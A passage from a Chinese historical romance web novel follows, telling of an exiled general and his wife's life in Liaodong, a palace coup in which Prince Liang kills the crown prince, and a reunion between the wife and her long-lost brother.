“我的?夫君,他既是翱翔于天际的?雄鹰,亦是顶天立地的?伟丈夫,当年?他为救灵州城的?百姓,甘愿冒险带上这?一城的?百姓逃亡,在遭遇敌军之时,他明明有独自逃生的?机会,却依旧把生还的?希望先给了旁人。” “阿瞻,有的?时候,人是没有办法两全的?。” 便如同?当年?她?抛下女儿和温氏。 “遵从你心中最想遵从的?那个决定吧,无论你做什么样的?选择,我都?会陪伴你,支持你。” 谢瞻看着她?,眼?中似有动容。 他抵住她?的?额,半响,低声叹道?:“对?不起,对?不起宁宁……”- 次日?一早,沈棠宁陪着谢瞻一起去了镇上的?衙门找周存和吴准。 从村子到镇子上要走两个多时辰,谢瞻能走,但他知道?沈棠宁走不了,于是便去借了村长家的?牛车,他驾驶着牛车载着沈棠宁一起去镇上。 周存想着修好城墙就能抵御东契人,几?乎动员了锦州城的?所有百姓去修筑城墙,但他忘了一点。 眼?下正是秋收的?季节,倘若修好了城墙,粮食却烂在了地里,这?对?于一个农人是最毁灭性的?打击。 且凡士兵打仗,粮草供给大部分来源于百姓,这?样一来,农人们?自己都?收不上来粮食,更枉论供给军队了。 即使城墙修筑得又高又牢固,将士们?打仗的?时候饿着肚子,这?场仗也绝对?打不赢。 是以谢瞻要让周存做的?第一点就是立即将农人们?放回,各回各地收割粮食。 至于那些频繁来骚扰锦州城的?东契人,他另有锦囊妙计。 谢瞻到了衙门前没有直接进去,吴准早在外面等候了。见到两人大喜,四下看看,见无可疑之人,才悄悄将谢瞻夫妇领进了后门。 议事完毕,周存感激得无以复加,不知如何?感谢谢瞻。 男儿膝下有黄金,他总不能再跪下给谢瞻磕头吧,于是大手一挥,让吴准给谢瞻送来了一排银元宝。 谢瞻知道?有人不希望他过得太好,这?些年?来,若不是丁振和袁永禄替他隐瞒,或许他早就成?了一抔黄土。 他不想招来祸患,但也早没那个心气?儿做个视金钱如粪土的?高洁之士,遂只拿了其中的?两个银元宝便离开。 手里有钱,心里不慌,这?钱既是凭本事得的?,谢瞻心里用着也没有丝毫的?负担,当即牵着沈棠宁的?手便去了附近的?香粉店给她?买女子妆用之物,顺道?将她?做的?那八只香囊都?出了。 沈棠宁做的?香囊十分精致,里面除了香料,还会填充许多的?药材,有芬芳助眠之效,一只能卖五百铜钱,八只便卖了四两银子。 以前沈棠宁每回来都?只是卖香囊,极少买店里的?香粉,香粉店的?老?板这?次见谢瞻出手阔绰,什么口脂胭脂香粉黛笔拿了许多,还颇为高兴,给两人便宜不少。 谢瞻又要去绸缎庄扯布匹给沈棠宁做衣服。 沈棠宁一开始死?活不去,道?:“这?家店的?衣服都?太贵了,我们?去隔壁那一家锦衣轩,他们?的?价格更实惠!” 谢瞻将她?直接推进那店里,让老?板娘给她?量身,还要订做一件新近闺阁女子中最为流行的?裙子。 谢瞻手一指,他眼?光又挑又好,恰指了店里卖的?最好的?料子。 老?板娘眼?睛顿时一亮。 不想眼?前这?对?青年?夫妻身上衣服的?料子看着不算华贵,男主人眼?光却是如此毒辣,尤其是这?家的?小妇人,那帷帽一摘下,啧啧,生得当真是花容月貌……令她?这?家店都?仿佛蓬荜生辉了! 沈棠宁一听价格却是咋舌,这?月华裙漂亮是漂亮,竟要花八两银子,她?要辛苦做两个月的?香囊才能卖的?起! 老?板娘很会说好听的?小话?,将沈棠宁夸得面红耳赤,天上有地上无,说什么两人真乃璧人,郎才女貌,天造地设的?一对?…… 谢瞻心情就极好,也不管沈棠宁在一旁不停地眨眼?给他使的?眼?色,又挑了一块柔软的?尺头做褥席,大手笔一挥就去付了账。 趁着沈棠宁量体裁衣,他从成?衣铺走了出来,意欲去前面的?酒肆和肉铺买些酒肉犒劳一下。 毕竟像他和沈棠宁不是辽东本地人,吃不惯齁咸的?腊肉,偶尔还是想吃些鲜肉的?。 却说谢瞻满心想着晚上吃啥,那街巷里侧的?隐蔽处刚好有家暗娼馆,楼上一个美貌妇人正百无聊赖地倚靠在楼上发呆。 忽见楼下人群中大步走来一身高八尺的?汉子,身上背着个卖货郎常用的?褡裢,虽是面庞黝黑,生得却是宽肩窄腰,剑眉凤目,十分地英武倜傥,不就是昨日?在她?家楼下那摆摊卖熊掌的?汉子吗! 都?说绝色美女是为尤物,根据妇人多年?勾栏里识人的?经验,看这?男人的?体型样貌,分明是男人里的?“尤物”,功夫必不会差了!若能与?他得一夕之欢,真真是死?了也甘愿! 可惜昨日?等她?下楼去寻的?时候,这?男人就收摊离去了。 妇人何?曾见过这?般俊美英气?的?男子,一时脸红心跳,连忙提着裙子下了楼,这?次终于不晚,待他走到巷口上,纤臂将他往巷子里一拉,便亲亲热热地叫了起来。 “哥哥!你是哪里来的?人物,奴家看你眼?熟得很,先前定是见过的?!你还记不记得,奴家唤作美娘,咱俩去楼上叙叙旧可好?” 这?妇人生得在镇上也算有几?分姿色,一般男人有这?般艳遇,早就被她?几?句软语哄得晕头转向,随她?上楼去了,谁曾想那男人却不吃她?这?一套,铁臂一震,把她?甩开了去。 “你认错人了。”谢瞻冷冷道?,转身就走。 妇人急了,拦在他面前道?:“好哥哥!你再看看我是谁,我岂会认错人!” 谢瞻这?才正眼?看去,见她?衣着艳丽暴露,压根就不像是良家女子,脸色一变,绕过她?就要离开。 “哥哥,我只求与?你露水姻缘,我不收你的?钱,你别急着走呀!” 妇人还以为他是没钱嫖,忙去拉他的?手。 “你别碰我!”谢瞻气?急败坏道?。 妇人吓了一跳,呆呆看着他。 同?样是被叫哥哥,沈棠宁叫的?声儿就那么地温柔动听,从这?妇人口中出来,就叫他恶心得掉了一身鸡皮疙瘩。 谢瞻不敢多耽,用力地掸了好几?下身上的?衣服,才匆匆从巷子里离开。 说来就颇令人郁闷,还记得一年?前他刚出来摆摊做小生意的?时候,明明售卖的?都?是血腥的?皮肉之物,偏偏总有女子过来排着队和他搭讪,不到一个时辰他摊位上的?皮肉都?会被抢售一看。 当时他没多想,心里还挺高兴赚了不少银子,能给家里再添置不少东西了。 却不知回家带了一身的?脂粉气?,那段时间沈棠宁就郁郁寡欢,有一次夜里还偷偷地哭,被他发现,逼问之下才明白过来原来让妻子误会了。 沈棠宁以为他是出去和别的?女人厮混了才带回来这?些脂粉气?。 谢瞻很是无奈,他一个大男人总不能让妻子出来抛头露面叫卖吧,何?况沈棠宁生得这?样美貌,他一个男人尚且都?被女人调戏,更枉论沈棠宁了。 于是他就只好努力把自己晒黑,丑是丑了些,好歹保住了名节。 果然,变黑之后就很少再有女人来勾搭他了。 谢瞻又闻了闻身上的?味道?,确认没有沾染上那妇人身上的?脂粉气?。在酒肆打了两壶酒,肉铺里称了三斤新鲜的?猪瘦肉,方提着这?些物什回了成?衣铺找沈棠宁。 …… 宁远城中气?氛祥和,京都?城中的?却是一派剑拔弩张。 东宫中,一听闻隆德帝病倒了,太子连太子妃都?来不及喊上,就带上自己的?扈从们?与?恰巧在现场跟他议事的?小舅子萧砚便急匆匆地赶去乾清宫探病。 然而乾清宫内却有人比他捷足先登。 梁王与?梁王妃一道?,早早便侍立在隆德帝的?病床前嘘寒问暖,端药递水,说些什么父皇千秋鼎盛之类的?话?,逗得隆德帝哈哈大笑,父子两个俨然一派父慈子孝。 太子一脸阴沉,掀开帘子时,面上已恢复平日?里的?优雅从容。 他走进来歉疚地道?:“父皇,听闻您病倒,儿臣便急匆匆赶来,没成?想还是来迟了,倒是四皇弟,你平日?里住在宫外,赶来却这?样及时,有你代我在父皇面前尽孝,身为兄长,孤心甚慰!” 身为帝王,自古皇帝的?身体情况便是不足为外人知的?忌讳,太子此言,看似告罪,实则是暗指梁王居心叵测。 梁王怎能容忍太子给他泼脏水,忙笑着道?:“哪里哪里,是今日?阿赵早在贵妃面前尽孝,突然听闻父皇病倒,与?贵妃一道?赶去,她?担心父皇的?身子,方遣人唤臣弟入宫,皇兄是储君,每日?事务繁忙,有臣弟尽孝也是理所应当的?。” 隆德帝闭目淡淡说道?:“朕无事,不过是偶感风寒罢了,你们?也不必担心。” 太子只得恭声应是。 过后兄弟两人从乾清门出来,一道?行在御道?之上。 梁王先行告辞道?:“皇兄,父皇命我近日?监修国史,臣弟不能令翰林院中的?诸位学士久等,恐怕要先行告辞了。” “哦,父皇竟命四弟来监修国史?咱们?兄弟俩从小一起长大,孤怎不知四弟还能通读史书?” “已在日?夜研习了,昨日?不会,今日?不定不会,皇兄莫非没听过一句话?,士别三日?,当刮目相待,皇兄何?见事之晚乎?” 顿了一下,梁王微微一笑,凑近太子说道?:“从前臣弟亦是不知,皇兄是这?般深明大义之人,大义灭亲砍掉自己的?臂膀呢!” “你——”太子瞪向梁王,脸上羞怒交加。 兄弟两人对?视间,嘴角带笑,眼?中却是一派冰冷,仿若有无声地硝烟弥漫。 梁王话?中的?得意炫耀,简直溢于言表了。 这?个从小就跟在他屁股后头的?弟弟,最会阿谀奉承。 隆德帝年?迈了,如今爱听的?就是黄皓和梁王之流的?这?些奉承之言。 即便如此,太子怎么也想不明白,凭他中宫嫡子的?身份,凭他的?才干远识,为何?这?些年?他一步步循规蹈矩,谨言慎行,父皇还是会对?他越来越疏远,他真是不甘! 梁王挑眉而笑,携着梁王妃赵氏告辞离去。 梁王走后,萧砚走到太子面前。 “殿下息怒。” 良久,太子吐出胸臆间的?一口浊气?,淡淡道?:“无妨,他再怎么蹦跶,到底名不正,言不顺。” 萧砚应是,片刻后又问:“敢问殿下,梁王殿下适才说的?大义灭亲是何?意?” 太子慢慢转头看向萧砚。 萧砚抬起头,直视太子。 80-83 第81章 二人对视片刻,太子忽地一叹道:“说来惭愧,父皇将临远委以重任,谁知当年他却做出那?等?行径,也是孤无法预想的,虽心痛他自毁前程,然事已至此,多说无益。” “只他到底是孤的亲表弟,孤年年命人去辽东探望他,听闻他在辽东过得颇为?落魄,本?欲接济一二,奈何他这?性子,却还如当年一般孤傲倔强,不肯要他人的救助,罢了,如今孤唯盼他能修身养性,静思己过吧!” 萧砚沉默片刻,轻声说道:“太子殿下一片好意,他竟不领情,可见他今日一切后?果不过咎由自取。不过这?些?年过去,臣心中一直有疑问,当年他是否确与契人私通?” 尽管萧砚痛恨谢瞻夺走了沈棠宁,两人都曾想将对方置于死地,但不知为?何,他心中隐隐有一种?感觉,谢瞻不会做出这?种?通敌叛国之事。 如果他愿意,当初勤王时他就完全有能力?拥兵自立。 “孰是孰非,一切业已尘埃落地,你我再论?也无济于事了。” 说至此处,太子仿佛没了谈兴,话?音一转。 “仲昀,你至今总蹉跎着不肯娶妻,你姐姐私下给你相看不少贵女,孤瞧着那?长平侯韩令之女生得倒是花容月貌,温婉贤淑,你为?何执意不允?便是去看一看,不满意罢了就是,你却整日推脱敷衍,总惹得你姐姐为?你担忧生气!” 前太子妃秦氏在宗张之乱中不幸罹难,去年太子刚奏请册立了萧氏为?太子妃,萧氏为?他诞下长子,他平日里便十分?宠爱萧氏,故而对于萧氏的亲弟弟萧砚也百般信任爱重。 如今萧砚就在禁军三大营之首的五军营中担任都指挥使,完全顶替了从前谢瞻的位置。 萧砚低声道:“臣知错。”却并不表态是否见那?韩氏女。 太子瞥他一眼,嗤了一声道:“仲昀,你该不会还想着那?个?沈氏女吧?” “只是还没寻到意趣相投的女子罢了。” 萧砚辩解道。 嘴上如是说,心下却不由黯然。 自然是因?为?沈棠宁。 当年他不顾颜面一而再二三恳求沈棠宁不要去辽东,她仍是绝情地拒绝了他。 他不明白,她为?何宁可陪着谢瞻去过朝不保夕的苦日子,也不肯回头再看他一眼。 这?件事以至于这?成了萧砚心里一根刺,他不是没有尝试着去接触别的女子,想企图来达到忘记沈棠宁的目的。 但是那?些?女子再美?再温顺,与沈棠宁相比较起来却也在一瞬间失了颜色。 太子微微一笑,拍他的肩膀。 “仲昀,这?人啊,就怕有嫌自己命太长的,若能长命百岁,就算现在不是你的,还怕将来这?东西到不了你手中?” 太子的微笑意味深长。 …… 回到东宫之后?,太子立即召来了他的心腹太监袁永禄,命他去辽东看一看谢瞻夫妇两人的境况。 袁永禄应喏,刚要禀退,太子又叫住他。 “他那?个?妇人沈氏,你上回去看她如何了,可还活着?” 袁永禄一惊,面上不敢却流露分?毫,答道:“回殿下的话?,沈氏身子单弱,去了辽东,三五不时地就要生病,每回生病,他都要带着沈氏去镇上看病,依着奴婢看这?沈氏……” 袁永禄摇了摇头。这?意思约莫是,活不长。 想想便是了,那?么一个?身娇体弱的美?人,受着贫苦的生活磋磨,这?两年能活下来都是万幸。 “别叫她死了,若有病,给她治病。”太子淡淡道。 袁永禄忙应是。 事毕,他徐徐退了出去。 这?两年,但凡想起谢瞻,或是心情不好的时候,太子就要命袁永禄去趟辽东看一看谢瞻过得如何。 可以说他对于谢瞻如今的境况,事无巨细,皆从袁永禄口中得知。 袁永禄回去便收拾包裹,预备启程。 从京都城到辽东,脚程快些?,预计也得走整整两个?月才能到。 秋天?启程,到那?儿的时候也得是深冬了。 袁永禄坐上马车,走出皇城,行到正阳门大街上,听见街市繁华之声,不觉敞开?帏帘向外看去。 恰好瞧见那?不远处与他对行而来一辆马车,马车身旁一个?高大魁梧的男子骑于马上,略微俯下身,似在听人说话?,面上带着淡淡的笑意。 而马车当中有个?青春少妇亦是探头而出,不知在与那?马上的男子笑着说些?什么,看着像是一对青年夫妻。 男子率先看见了袁永禄,一怔,紧接着,少妇随着她丈夫的目光,扭头朝着袁永禄看过来。 四目相对,那?女子立即就拉下了脸,面上是毫不掩饰的、浓浓的厌恶之色。 “是他,这个阉宦!” 谢嘉妤毫不顾忌自己的声音,咬牙咒骂道。 直到袁永禄的车过去了许久,谢嘉妤仍旧是气得脸色涨红。 两年多前谢瞻戴罪离开?京都城,王氏不许谢嘉妤去送行,谢嘉妤的性子,岂能听话?,她偷偷爬墙跑出镇国公府,躲到城内的角落里偷看。 看到的,就是这?个?姓袁的太监狗仗人势,故意欺负她的兄长,不许她的哥哥们?与二哥私下道别! “也不知道,二哥和二嫂眼下如何了……” 陈慎转过身去,谢嘉妤已经放下了帏帘,她失落的喃语声从马车中传来。 “阿妤,你放心吧,你二哥二嫂吉人自有天?相。” 片刻后?,陈慎低声安慰她道。 谢嘉妤却苦笑一声。 多年来,谢瞻和沈棠宁两人杳无音讯。 她甚至都不知道他们?是否还活着。 辽东那?般苦寒之地,谢嘉妤没见过,却听人说,冬日滴水成冰,吃不上新鲜的果蔬,只能吃腌咸菜,熏腊肉。 一想到她的哥哥嫂嫂要过着这?样贫苦的生活,不知被磋磨成什么样子,她的心便如刀割一般地痛苦心酸。 但是这?两年来,谢嘉妤的心境早与当年未出阁时大不相同。 她曾经哭过,痛恨过,也为?此和不公的命运强行对抗过,最终却都失败了,不得不选择爹娘给她安排好的这?一条道路。 所以她清楚地知道,当一个?人没有与她相匹配的能力?去与他人对抗时,所能做的便唯有忍辱负重,以屈求生。 “我没事。” 谢嘉妤把眼泪憋了回去,她的声音,也很快恢复了平静,轻声说:“四哥,我们?赶紧去普济寺吧,这?样还能赶在日落之前回家?。” “好。” 陈慎应是。路过街市的时候,他驱马稍慢,落在马车后?面,从那?售卖糖葫芦的老人手中接过两串糖葫芦。 接着,将那?包在油纸包中糖葫芦揣进怀中,快速打马追了过去- 半年后?。 隆德三十七年,暮春。 又是一年草长莺飞时,宫廷中却正悄无声息地酝酿着一场巨变。 巨变前夜,先是隆德帝重病,太子不仅在隆德帝病重之际受命监国,且将朝堂大小事都打理得井井有条。 而近年来备受隆德帝宠爱的梁王却因?纵容家?奴强夺良家?女子被他的太子兄长下令禁足,完全被隔绝在宫城之外,不被他允许进入皇城。 被禁足了足足三个?月的梁王心中自然是满腔的怒气,终于在暮春时节的这?一日清晨,他意欲效仿当年太宗玄武门之变,悄悄买通皇城承天?门口的禁军,从皇墙东南角偷偷潜入皇城中,在承天?门前埋伏了一支精兵。 太子按照往常的作?息在卯时入宫探望在乾清宫养病的隆德帝,不想刚进入承天?门,便觉气氛不对,当即拔腿往后?跑,却被梁王的人堵在了门口。 当是时,太子近身只带了七八个?扈从,太子的贴身太监见状连忙高喊有人谋反犯上,引来了皇城内外的禁军。 梁王只买通了承天?门的禁军,倘若被其他禁军赶来救出太子,他将彻底沦为?太子的阶下之囚! 梁王一咬牙,恶从胆边生,遂不再犹豫,这?两年来他苦习骑射之术,当初是想着自保。 然而今日你我兄弟,不是你死,便是我亡!不成功,便成仁! 梁王弯弓搭箭,对准正在往身后?跑去的太子兄长的心口。 “嗖”的一声,白羽箭在空中急速穿过,射了过去,正中太子心口。 太子瞪大双眼,低下头看着自己胸口的血洞。 周围的扈从和距离承天?门最近,飞快赶进来的羽林卫、金吾卫禁军两大禁军也纷纷傻了眼。 伴随着太子的身躯轰然倒地,梁王眼中迸射出兴奋的光芒,忙大声痛斥道:“太子谋逆犯上,先是企图下毒毒害父皇,被本?王发觉,他竟狗急跳墙,禁足本?王后?,想在今早杀害父皇登基自立!幸好被本?王提前得知消息,现这?谋反已被孤诛杀!尔等?若无牵连太子谋反之中,本?王通通恕你们?无罪!” 禁军们?一个?个?面面相觑,他们?不知道真相,但梁王说的这?些?话?也有一定的道理。 隆德帝这?几个?儿子里面,太子已经死了,豫王远离京都城,不受宠爱,而最小的六皇子才十岁,梁王这?个?王爷,这?些?年来却颇受隆德帝的器重,谁知道太子是不是真的谋反,梁王就是下一个?太子? 禁军们?犹豫着,面面相觑。 后?金吾卫中的首领率先跪在了地上,不消片刻,两大禁军全部跪于地上,齐声高呼梁王殿下,对梁王俯首称臣。 而此时,远在千里之外的辽东锦州城。 太阳高照,吹面的风里仍然透出一丝春日的料峭。 春宵苦短,一大早,谢瞻却起身匆匆离开?,不知去往了何处。 沈棠宁卷被起身,摸到一侧变冷的被衾,心里莫名有些?不安。 仆妇阿秀见女主人醒了,忙将锅里的热水送进屋里。 “娘子,二郎一早就有人找,他出门去了,你先洗漱,再喝碗腊肉粥暖暖身子吧!” 送完热水,阿秀又十分?勤快地去灶房里端来一碗热粥。 阿秀今年二十八,也是枣子村人,她爹娘生养了三个?儿子一个?女儿,家?里穷得叮当响,几年前她被爹娘嫁给村里一个?四十多的鳏夫。 后?来那?鳏夫死了,她没生养,爹娘就又想卖她,谢瞻便将她用二两银子买了下来,让她住在刚盖的东厢房,在家?中专门伺候沈棠宁。 阿秀人生得高大健壮,既勤快又有力?气,谢瞻有时帮周存打仗,不能常住在家?中,家?里有阿秀照看,邻家?有蔡询夫妇帮忙,寻常盗贼也不敢进门。 沈棠宁问阿秀早上来的人生得什么模样,阿秀形容了一下,是个?高个?儿,精瘦,人很精神。 沈棠宁知道了,这?人就是吴准。 这?一年来谢瞻帮助周存打赢了一场又一场的仗,周存也彻底坐稳了辽东总兵的位置,被隆德帝加封为?兵部侍郎。 他十分?感激谢瞻这?个?军师,只是碍于谢瞻敏感的身份,除了银钱,无法回赠给他应有的回报。 不过谢瞻也不在乎这?些?。 沈棠宁心里微微叹了口气。 谢瞻帮周存,其实有很大的风险。 既然周存能认出谢瞻,难保旁人就认不出来。 尽管这?三年来太子和隆德帝都仿佛逐渐遗忘了谢瞻,但沈棠宁依旧很担心。 每回周存有事来找谢瞻,都是他的心腹吴准来上门。 当谢瞻走后?,她心中总是充满了忐忑和担忧。 只是这?些?话?,她从来没有对谢瞻说过。 沈棠宁食不下咽,只喝了两口粥。 阿秀端详着她尖尖的下巴,嘟哝道:“这?半年来,娘子你都清减不少了,再瘦脸上就光剩双大眼睛啦,再把这?半碗喝了吧,不然二郎他回来又要数落我啦!” 沈棠宁被她逗得不由展颜一笑。 终究捱不住阿秀不停地劝,勉强把剩下的半碗粥吃了。 家?里多了阿秀,周存平日也给不少的钱,沈棠宁的日子一下就清闲了下来。 本?来连卖香囊的营生谢瞻都不许她再做,不过沈棠宁天?生不是个?懒骨头,她偶尔帮阿秀做家?务,大部分?时候就坐在房中看书,或是给谢瞻和女儿圆姐儿做衣服,做些?香囊打发时间。 她每年的一年四季都会给圆姐儿做衣服,虽然圆姐儿用不上,她仍是坚持做,做完了就把这?些?衣服叠好放进箱子,如今屋里西侧的角落里已经堆了满满一大箱子。 院子里晒了不少的香料和药材,沈棠宁觉得身体不妙,似有些?着凉头疼,便拿了个?小碗在药材中挑拣了些?治伤寒的草药。 因?她略通医术,偶有一次帮杨氏开?了些?通经之药,效果很好,后?来四邻乡亲的凡有个?头疼脑热,就提着些?米粮上门找沈棠宁看看,沈棠宁也不会收他们?的钱。 捡药之时,她又产生了那?种?熟悉的古怪的感觉。 有人在背后?窥视她。 可是当她突然的回头,大约是时辰还早,大门口除了那?条土路,隔壁围墙一侧杨氏和女儿的对话?声,以及偶尔的几声犬吠与鸡鸣,一个?村人也无。 每次谢瞻离家?,她出门时,总会产生这?种?古怪的感觉。 这?让沈棠宁心里不禁有些?发憷,毕竟那?人不是明目张胆的看她,这?种?隐秘的窥视,很难不令人害怕。 青天?白日,沈棠宁却不敢再在外面呆下去了,她本?是蹲在地上,骤然从地上站起来,头顶上日光又刺目耀眼,刚一迈步,忽觉一阵头晕目眩。 她连忙按着太阳穴,另一只手扶住墙想站在一旁缓缓,然而那?眩晕感仍旧是从大脑中争先恐后?地吞噬了她,周遭一切的世界都失去声响,身体不觉向后?软倒去。 有人从身后?接住了她,混沌中,她下意识地伸出一双玉臂搂住了那?个?人。 等?她意识渐渐恢复时,发觉自己倚靠在一个?人坚实的胸口上,与阿秀身上总是带着皂荚的香气不?*同,也不是谢瞻身上的瑞脑香,这?人身上是一股淡淡的,说不上什么味道的香气,很温和,也令她心安。 “……团儿,团儿!” 沈棠宁睁开?眼,接着,她双目睁得越来越大,流露出一丝惊喜和不敢置信。 “伯都大哥!” 伯都微笑着点了点头,将她小心地抱到屋里的炕上。 这?时,阿秀也听到声音快步走了进来,看见屋里这?个?陌生英俊的男人怀中抱着自家?的女主人,一时惊愕不已。 沈棠宁轻声解释:“别害怕,这?是我的一位朋友,你下去给他沏杯热茶罢。” 阿秀放心地退了下去。 “你哪里不舒服?”伯都连忙问。 沈棠宁解释说:“我没事,只是蹲得太久,突然站起来有些?头晕。” 顿了一下,迟疑着道:“伯都大哥,这?段时日,我时常感觉有人在外偷看我,那?个?人,他是你吗?” 伯都看着眼前女子略显苍白的脸色,消瘦的脸颊,衬得下巴愈发尖俏,而她的那?双乌黑澄澈,与他对视的杏眼当中,除了欢喜殷切,并无半分?责备地之色,心脏突然不可抑制地抽痛了起来。 他艰涩地开?口,唤她的乳名:“团儿,我,我……” 一向朝廷中能言善道的他,在此刻却笨拙地张口结舌。 整整三年了。 最开?始的时候,他是没有脸再来见她和谢瞻。 后?来,西契在大周的探子传信回来,他得知她竟随着谢瞻一起辗转流放到了辽东。 那?段时日,伯都每日内心都痛苦不已,既钦佩于她不惧生死,敢于追随心爱之人的勇气和决心,也深深地怜惜着她多舛的命运。 只要一想到她那?样美?丽娇弱的女孩子要忍受冬日里严寒的磋磨,辽东的风沙会吹皱她原本?娇嫩细腻的肌肤,将她一双本?应抚琴作?画的纤纤柔荑冻得通红生疮,他的心便煎熬难受得几乎彻夜难眠。 他多么希望她能够自私一些?,不做世人眼中什么坚贞守夫的女子,离开?谢瞻另嫁良人,甚至还萌生了一个?连他自己都不敢相信的念头。 他要带走沈棠宁,为?她找到一方真正的净土。 直到现在他才终于明白,原来这?就是血脉的羁绊。 沈棠宁,是他的亲妹妹。 他,执失伯都,就是大周朝平宁侯沈弘彰与温氏失散多年的长子,沈棠宁的亲哥哥。 而九岁之前,他本?来的名字应该叫做—— 沈连州。 第82章 清水河之战后,西契与大周由此交恶,为此大周封锁了两国的边境肯特?山。 图雷背叛伯都投奔丞相土勒,联合土勒大肆屠杀大周官兵,这是伯都无论如何也没想到的。 图雷原本不过是草原上一个无名小?卒,是伯都见他?骁勇善战,提拔他?做了自己的侍卫。 因得了伯都的赏识,后来图雷便从一个小?小?的侍卫一路扶摇直上,成?了伯都的心腹大将。 在?伯都的心目中,虽然两人?在?军事作战上偶有分歧,但图雷与拖剌一样都是他?的左膀右臂。 然而图雷一心想要出人?头地,他?既嫉恨伯都因为得到了察兰汗妃的青睐年纪轻轻就能跻身枢密院副使的要职,又不甘心永远只能屈居于?伯都之下,便主动投奔了土勒。 倘若土勒登基做了新的汗王,届时?他?就能超越伯都成?为下一任枢密院副使。 在?西契与大周结下盟约后,土勒以?退为进,辞官隐退只是权宜之计。 他?知道两国结盟是察兰汗妃为了替默答寻求有朝一日能对抗他?的强大依靠,而毁了西契与大周的盟约,一旦盟约被毁,两国交恶,他?便能在?其中浑水摸鱼,除去?伯都与察兰汗妃,挟天子?以?令诸侯,甚至有朝一日取而代之! 岂料伯都实在?悍勇,彼时?他?刚带兵杀入大帐之中,伯都与拖剌等人?立即率军杀回,察兰也趁机携着默答和一双儿女便逃之夭夭,气得土勒破口大骂,但抵挡不住伯都的悍兵,仓皇逃回自己的老巢。 就在?谢瞻被下狱流放之时?,伯都也在?拼命地对抗着土勒的军队与土勒部的大贵族势力。 三年前的一日,伯都刚听到这个消息,便不顾一切丢下手中的一切,绕过肯特?山之后的北麓小?路向?东契奔去?。 在?到达辽东之后,他?在?锦州城和宁远城足找到了半月,终于?在?这个叫做枣子?村的村落里找到了她和谢瞻。 那一日清晨,她正和一群围在?她身旁的妇人?们蹲在?一条河边浣衣。 她的一双手,果然也如他?所料被冻得肿胀通红。 而谢瞻,他?则彻底地变了一个人?。 在?伯都的印象之中,那个曾经意气风发,擅使弓弩的青年将军,脱下了铠甲,穿上了褴褛厚重的棉衣,手上做着最污秽沉重的活计,在?流犯营中如每一个低等的流犯般遭受着差役们的鞭打斥责。 傍晚的时?候,他?还带了许多?的猎物回家。 虽然没有看清他?的脸,但同?样身为男人?,从他?回家这一路沉重的脚步和萧索背影里伯都也能感?受到他?深深的疲倦与无力。 只是在?进门看见沈棠宁的那一瞬间,他?才挺起了腰背,快步走向?他?的妻子?,将她温柔地拥进怀里。 她好像很开心,即使离得那样远,伯都也能看到她脸上洋溢的笑容。 等到两人?吃完饭,她又不顾严寒和谢瞻的阻拦,掌着灯看谢瞻在?院子?里将这些猎物一个个剥皮拆骨。 她一直在?细语柔声?地和谢瞻说着话,时?而为他?拭汗与擦去?手上的污秽。 在?伯都眼中,沈棠宁娟秀娴静,是真正的大家闺秀,名门淑女,他?好像从未见她说过那样多?的话,而谢瞻大多?数情况下却缄默不语,偶尔才朝她笑一下作回应。 看到这一切,伯都已没有脸再?面见他?们。 他?独自在?寒冷的春夜里坐了整整一夜,次日一早,他?的妹妹乌伦珠公主和属下拖剌骑着马赶了过来,乌伦珠抱着他?难受地大哭,求他?离开。 拖剌也劝说,一旦他?落到周人?的手中,后果将不堪设想。 不光是他?难逃一死,就连谢瞻和沈棠宁夫妻两人?如今平静的生活也会?被他?打破牵累。 最终,伯都还是离开了。 但是三年当中,他?从来没有停止过思念他?们夫妻两人?。 只要一有时?间,他?便扮作商人?一路南下,到村子?里,他?又命手下扮作货郎,便宜售卖给她许多?宫中御用的名贵之物。 只要她出门,有护卫一路相随保护。 也是在?这三年里,他?终于?替汗妃与大汗击杀了土勒和图雷,维护了这个漠北帝国的和平,与此同?时?,也在?无意间解开了自己的身世之谜。 这个谜底,说来也是机缘巧合,多?亏了他?的老对手土勒。 看着眼前这双一如既往温柔的杏眼,伯都压下心底的酸涩与千言万语。 他轻声应道:“是我。” 他?慢慢蹲了下来,凝视着眼前的女子。 “团儿,我想为你吹一首曲子。” 沈棠宁一怔。 伯都从怀中取出一支羌笛,放在?了唇畔,轻轻吹了起来。 悲怆浑厚而熟悉的曲调,宛如在?沈棠宁眼前缓缓呈现出苍山负雪,黄河白云,牛马奔腾其间的荒凉一幕。 可?怜无定河边骨,犹是春闺梦里人?。 年幼时?,沈弘彰常年征战在?外,每每沈连州思念起远在?玉门关的父亲时?,便会?吹响羌笛。 那只羌笛,是沈弘彰亲手射下了玉门关前的一只老鹰,用鹰骨制成?羌笛,赠给儿子?沈连州。 这位父亲时?常对他?的一双儿女说,将门无犬子?,他?的儿子?,长大以?后亦要子?承父业,做个征战沙场,保家卫国的大将军。 可?惜后来的父亲,永远地做了母亲的春闺梦里人?。 而他?这个不肖子?,那时?不仅没能陪在?母亲的身边抚慰她,更没有实现父亲的平生夙愿,反而流落到契国,与自己的母国敌对多?年。 这十多?年来,他?为察兰汗妃和默答大汗鞍前马后,誓死效忠,因他?完全将汗妃与大汗视作了自己的父母,如何能够想到,他?的亲生父亲便是死在?契人?的手里,死在?隆德帝的北伐之战中。 一曲罢,沈棠宁美眸中已不觉一片朦胧,泪流满面。 她直起身,颤抖着抚上伯都的脸,伯都亦同?样红了眼眶,回握住她冰冷的手背。 “团儿,还记得当年哥哥为你吹的这首曲子?吗?” 沈棠宁再?忍不住扑进伯都的怀中,哽咽着大喊。 “哥哥!是你,哥哥,你想起来了,你终于?想起来了!” “是,团儿,我全都想起来了!九岁那年我生了一场大病,醒后记忆全无,今日,我终于?全都想起来了!”伯都含泪喃喃地道。 谢瞻赶回家时?,看到便是这男女相拥的一幕。 起初他?心中大为恼火,这个执失伯都竟还有脸来见他?,还搂着他?的妻子?将她欺负哭! 正想冲进去?将两人?分开,再?狠狠给他?几拳醒醒神,接着便听到沈棠宁口中不住地哭喊着哥哥,像个孩童一般在?伯都怀中委屈哭泣。 两人?的举止之间不仅没有男女的暧昧,反而是另一种亲昵的姿态。 谢瞻很快就反应了过来,原来伯都并非是在?挖他?墙脚,而是兄妹相认,便悄悄立在?了屋檐下,没有进门打扰兄妹二人?。 沈棠宁率先看见了门外的谢瞻,连忙去?抹脸上的泪,转悲为喜,柔声?唤谢瞻进屋来。 谢瞻立刻进屋,小?心地将妻子?抱回到床上。 伯都听到谢瞻回来,浑身一僵,心内挣扎片刻,慢慢回身望去?。 谢瞻面无表情地回视着他?。 两个男人?四目相对,一时?却谁也未曾言语。 沈棠宁心中的喜悦之情顿时?不翼而飞。 